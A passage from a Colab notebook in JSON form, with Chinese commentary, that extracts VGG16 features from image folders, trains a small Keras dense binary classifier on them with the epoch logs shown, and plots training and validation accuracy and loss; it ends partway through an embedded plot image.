將計算出的數值儲存起來,後續會用來訓練 Full Connection 分類網路。" 375 | ] 376 | }, 377 | { 378 | "cell_type": "code", 379 | "metadata": { 380 | "id": "9a9RRsbT9QQI", 381 | "colab": { 382 | "base_uri": "https://localhost:8080/", 383 | "height": 68 384 | }, 385 | "outputId": "dab3c530-d980-4e59-dc2c-16c6aadf6759" 386 | }, 387 | "source": [ 388 | "import os\n", 389 | "import numpy as np\n", 390 | "from keras.preprocessing.image import ImageDataGenerator\n", 391 | "\n", 392 | "datagen = ImageDataGenerator(rescale=1./255)\n", 393 | "batch_size = 20\n", 394 | "\n", 395 | "def extract_features(directory, sample_count):\n", 396 | " features = np.zeros(shape=(sample_count, 4, 4, 512))\n", 397 | " labels = np.zeros(shape=(sample_count))\n", 398 | " generator = datagen.flow_from_directory(\n", 399 | " directory,\n", 400 | " target_size=(150, 150),\n", 401 | " batch_size=batch_size,\n", 402 | " class_mode='binary')\n", 403 | " i = 0\n", 404 | " for inputs_batch, labels_batch in generator:\n", 405 | " features_batch = conv_base.predict(inputs_batch)\n", 406 | " features[i * batch_size : (i + 1) * batch_size] = features_batch\n", 407 | " labels[i * batch_size : (i + 1) * batch_size] = labels_batch\n", 408 | " i += 1\n", 409 | " if i * batch_size >= sample_count:\n", 410 | " # Note that since generators yield data indefinitely in a loop,\n", 411 | " # we must `break` after every image has been seen once.\n", 412 | " break\n", 413 | " return features, labels\n", 414 | "\n", 415 | "train_features, train_labels = extract_features(train_dir, 2000)\n", 416 | "validation_features, validation_labels = extract_features(validation_dir, 1000)\n", 417 | "test_features, test_labels = extract_features(test_dir, 1000)\n", 418 | "\n", 419 | "train_features = np.reshape(train_features, (2000, 4 * 4 * 512))\n", 420 | "validation_features = np.reshape(validation_features, (1000, 4 * 4 * 512))\n", 421 | "test_features = np.reshape(test_features, (1000, 4 * 4 * 512))" 422 | ], 423 | "execution_count": null, 424 | "outputs": [ 425 | { 426 | "output_type": "stream", 427 | "text": [ 428 | "Found 2000 images belonging to 2 classes.\n", 429 | "Found 1000 images belonging to 2 classes.\n", 430 | "Found 1000 images belonging to 2 classes.\n" 431 | ], 432 | "name": "stdout" 433 | } 434 | ] 435 | }, 436 | { 437 | "cell_type": "markdown", 438 | "metadata": { 439 | "id": "l-odMgOIdc6v" 440 | }, 441 | "source": [ 442 | "# 使用特徵訓練網路\n", 443 | "\n", 444 | "由於我們剛剛已經用 VGG16 CNN 抽取特徵,因此真正訓練分類網路的時候就不是輸入圖片,而是輸入這些計算好的特徵。" 445 | ] 446 | }, 447 | { 448 | "cell_type": "code", 449 | "metadata": { 450 | "id": "Dnm5AHSW0dyS", 451 | "colab": { 452 | "base_uri": "https://localhost:8080/", 453 | "height": 1000 454 | }, 455 | "outputId": "762a28cb-3913-49ea-cd90-02d1dbdda155" 456 | }, 457 | "source": [ 458 | "from keras import models\n", 459 | "from keras import layers\n", 460 | "from keras import optimizers\n", 461 | "\n", 462 | "model = models.Sequential()\n", 463 | "model.add(layers.Dense(256, activation='relu', input_dim=4 * 4 * 512))\n", 464 | "model.add(layers.Dropout(0.5))\n", 465 | "model.add(layers.Dense(1, activation='sigmoid'))\n", 466 | "\n", 467 | "model.compile(optimizer=optimizers.RMSprop(lr=2e-5),\n", 468 | " loss='binary_crossentropy',\n", 469 | " metrics=['acc'])\n", 470 | "\n", 471 | "history = model.fit(train_features, train_labels,\n", 472 | " epochs=30,\n", 473 | " batch_size=20,\n", 474 | " validation_data=(validation_features, validation_labels))" 475 | ], 476 | "execution_count": null, 477 | "outputs": [ 478 | { 479 | "output_type": "stream", 480 | "text": [ 481 | "Train on 2000 samples, validate on 1000 samples\n", 482 | "Epoch 1/30\n", 483 | "2000/2000 [==============================] - 1s 355us/step - loss: 0.6112 - acc: 0.6650 - val_loss: 0.4516 - val_acc: 0.8320\n", 484 | "Epoch 2/30\n", 485 | "2000/2000 [==============================] - 1s 286us/step - loss: 0.4257 - acc: 0.8100 - val_loss: 0.3708 - val_acc: 0.8620\n", 486 | "Epoch 3/30\n", 487 | "2000/2000 [==============================] - 1s 284us/step - loss: 0.3578 - acc: 0.8570 - val_loss: 0.3348 - val_acc: 0.8700\n", 488 | "Epoch 4/30\n", 489 | "2000/2000 [==============================] - 1s 293us/step - loss: 0.3160 - acc: 0.8685 - val_loss: 0.3121 - val_acc: 0.8740\n", 490 | "Epoch 5/30\n", 491 | "2000/2000 [==============================] - 1s 290us/step - loss: 0.2878 - acc: 0.8860 - val_loss: 0.2965 - val_acc: 0.8780\n", 492 | "Epoch 6/30\n", 493 | "2000/2000 [==============================] - 1s 286us/step - loss: 0.2679 - acc: 0.8965 - val_loss: 0.2869 - val_acc: 0.8800\n", 494 | "Epoch 7/30\n", 495 | "2000/2000 [==============================] - 1s 281us/step - loss: 0.2547 - acc: 0.8985 - val_loss: 0.2781 - val_acc: 0.8850\n", 496 | "Epoch 8/30\n", 497 | "2000/2000 [==============================] - 1s 282us/step - loss: 0.2393 - acc: 0.9085 - val_loss: 0.2764 - val_acc: 0.8830\n", 498 | "Epoch 9/30\n", 499 | "2000/2000 [==============================] - 1s 286us/step - loss: 0.2178 - acc: 0.9165 - val_loss: 0.2677 - val_acc: 0.8890\n", 500 | "Epoch 10/30\n", 501 | "2000/2000 [==============================] - 1s 285us/step - loss: 0.2158 - acc: 0.9190 - val_loss: 0.2631 - val_acc: 0.8910\n", 502 | "Epoch 11/30\n", 503 | "2000/2000 [==============================] - 1s 285us/step - loss: 0.2048 - acc: 0.9245 - val_loss: 0.2665 - val_acc: 0.8910\n", 504 | "Epoch 12/30\n", 505 | "2000/2000 [==============================] - 1s 289us/step - loss: 0.1918 - acc: 0.9290 - val_loss: 0.2607 - val_acc: 0.8950\n", 506 | "Epoch 13/30\n", 507 | "2000/2000 [==============================] - 1s 279us/step - loss: 0.1785 - acc: 0.9365 - val_loss: 0.2564 - val_acc: 0.8980\n", 508 | "Epoch 14/30\n", 509 | "2000/2000 [==============================] - 1s 297us/step - loss: 0.1766 - acc: 0.9370 - val_loss: 0.2602 - val_acc: 0.9000\n", 510 | "Epoch 15/30\n", 511 | "2000/2000 [==============================] - 1s 283us/step - loss: 0.1706 - acc: 0.9435 - val_loss: 0.2734 - val_acc: 0.8840\n", 512 | "Epoch 16/30\n", 513 | "2000/2000 [==============================] - 1s 271us/step - loss: 0.1650 - acc: 0.9435 - val_loss: 0.2491 - val_acc: 0.8970\n", 514 | "Epoch 17/30\n", 515 | "2000/2000 [==============================] - 1s 283us/step - loss: 0.1549 - acc: 0.9440 - val_loss: 0.2478 - val_acc: 0.8980\n", 516 | "Epoch 18/30\n", 517 | "2000/2000 [==============================] - 1s 275us/step - loss: 0.1503 - acc: 0.9440 - val_loss: 0.2480 - val_acc: 0.8990\n", 518 | "Epoch 19/30\n", 519 | "2000/2000 [==============================] - 1s 281us/step - loss: 0.1402 - acc: 0.9520 - val_loss: 0.2542 - val_acc: 0.8970\n", 520 | "Epoch 20/30\n", 521 | "2000/2000 [==============================] - 1s 287us/step - loss: 0.1350 - acc: 0.9505 - val_loss: 0.2474 - val_acc: 0.9010\n", 522 | "Epoch 21/30\n", 523 | "2000/2000 [==============================] - 1s 282us/step - loss: 0.1336 - acc: 0.9580 - val_loss: 0.2452 - val_acc: 0.9010\n", 524 | "Epoch 22/30\n", 525 | "2000/2000 [==============================] - 1s 278us/step - loss: 0.1261 - acc: 0.9545 - val_loss: 0.2462 - val_acc: 0.9050\n", 526 | "Epoch 23/30\n", 527 | "2000/2000 [==============================] - 1s 287us/step - loss: 0.1207 - acc: 0.9605 - val_loss: 0.2448 - val_acc: 0.9010\n", 528 | "Epoch 24/30\n", 529 | "2000/2000 [==============================] - 1s 295us/step - loss: 0.1160 - acc: 0.9635 - val_loss: 0.2437 - val_acc: 0.9020\n", 530 | "Epoch 25/30\n", 531 | "2000/2000 [==============================] - 1s 284us/step - loss: 0.1140 - acc: 0.9630 - val_loss: 0.2447 - val_acc: 0.9040\n", 532 | "Epoch 26/30\n", 533 | "2000/2000 [==============================] - 1s 286us/step - loss: 0.1025 - acc: 0.9660 - val_loss: 0.2453 - val_acc: 0.9010\n", 534 | "Epoch 27/30\n", 535 | "2000/2000 [==============================] - 1s 293us/step - loss: 0.1000 - acc: 0.9655 - val_loss: 0.2433 - val_acc: 0.9030\n", 536 | "Epoch 28/30\n", 537 | "2000/2000 [==============================] - 1s 286us/step - loss: 0.0994 - acc: 0.9705 - val_loss: 0.2463 - val_acc: 0.9060\n", 538 | "Epoch 29/30\n", 539 | "2000/2000 [==============================] - 1s 280us/step - loss: 0.0923 - acc: 0.9705 - val_loss: 0.2440 - val_acc: 0.9080\n", 540 | "Epoch 30/30\n", 541 | "2000/2000 [==============================] - 1s 287us/step - loss: 0.0903 - acc: 0.9735 - val_loss: 0.2502 - val_acc: 0.9050\n" 542 | ], 543 | "name": "stdout" 544 | } 545 | ] 546 | }, 547 | { 548 | "cell_type": "markdown", 549 | "metadata": { 550 | "id": "dcQ7wwSYd7Rg" 551 | }, 552 | "source": [ 553 | "# 透過圖表分析訓練過程" 554 | ] 555 | }, 556 | { 557 | "cell_type": "code", 558 | "metadata": { 559 | "id": "DUvlCl6nAWw_", 560 | "colab": { 561 | "base_uri": "https://localhost:8080/", 562 | "height": 545 563 | }, 564 | "outputId": "a4ebe0c0-11a7-40ab-fdf2-85d0cb85ce8b" 565 | }, 566 | "source": [ 567 | "import matplotlib.pyplot as plt\n", 568 | "\n", 569 | "acc = history.history['acc']\n", 570 | "val_acc = history.history['val_acc']\n", 571 | "loss = history.history['loss']\n", 572 | "val_loss = history.history['val_loss']\n", 573 | "\n", 574 | "epochs = range(len(acc))\n", 575 | "\n", 576 | "plt.plot(epochs, acc, 'bo', label='Training acc')\n", 577 | "plt.plot(epochs, val_acc, 'b', label='Validation acc')\n", 578 | "plt.title('Training and validation accuracy')\n", 579 | "plt.legend()\n", 580 | "\n", 581 | "plt.figure()\n", 582 | "\n", 583 | "plt.plot(epochs, loss, 'bo', label='Training loss')\n", 584 | "plt.plot(epochs, val_loss, 'b', label='Validation loss')\n", 585 | "plt.title('Training and validation loss')\n", 586 | "plt.legend()\n", 587 | "\n", 588 | "plt.show()" 589 | ], 590 | "execution_count": null, 591 | "outputs": [ 592 | { 593 | "output_type": "display_data", 594 | "data": { 595 | "image/png": "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